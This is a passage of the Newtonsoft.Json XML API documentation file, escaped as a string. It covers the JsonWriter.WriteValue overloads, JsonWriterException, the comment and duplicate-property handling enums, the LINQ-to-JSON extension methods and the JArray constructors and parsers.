</member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Boolean})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Char})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Byte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.SByte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Decimal})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTime})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Guid})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.TimeSpan})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteState(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriterException\">\n            <summary>\n            The exception thrown when an error occurs while writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriterException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.CommentHandling\">\n            <summary>\n            Specifies how JSON comments are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\">\n            <summary>\n            Ignore comments.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Load\">\n            <summary>\n            Load comments as a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> with type <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling\">\n            <summary>\n            Specifies how duplicate property names are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\">\n            <summary>\n            Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Ignore\">\n            <summary>\n            Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> when a duplicate property is encountered.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.Extensions\">\n            <summary>\n            Contains the LINQ to JSON extension methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Ancestors``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AncestorsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Descendants``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.DescendantsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, and the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Properties(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JObject})\">\n            <summary>\n            Returns a collection of child properties of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the properties of every object in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of child values of every object in the source collection with the given key.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of child values of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection with the given key.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Value``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Converts the value.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <typeparam name=\"U\">The type to convert the value to.</typeparam>\n            <param name=\"value\">A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> cast as a <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>A converted value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of child tokens of every array in the source collection.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Children``2(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of converted child tokens of every array in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AsJEnumerable``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.\n            </summary>\n            <typeparam name=\"T\">The source collection type.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>The input typed as <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> objects.\n            </summary>\n            <typeparam name=\"T\">The type of token.</typeparam>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.IJEnumerable`1.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.IJEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value></value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JArray\">\n            <summary>\n            Represents a JSON array.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JArray.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(Newtonsoft.Json.Linq.JArray)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> class with the specified content.\n            </summary>\n            <param name=\"content\">The contents of the array.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads an <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>. \n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> populated from the string that contains JSON.</returns>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\LinqToJsonTests.cs\" region=\"LinqToJsonCreateParseArray\" title=\"Parsing a JSON Array from Text\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.FromObject(System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> from an object.\n            </summary>\n            <param name=\"o\">The object that will be used to create <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/>.</param>\n            <param name=\"jsonSerializer\">The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> that will be used to read the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JArray\"/> with the values of the specified object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JArray.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see 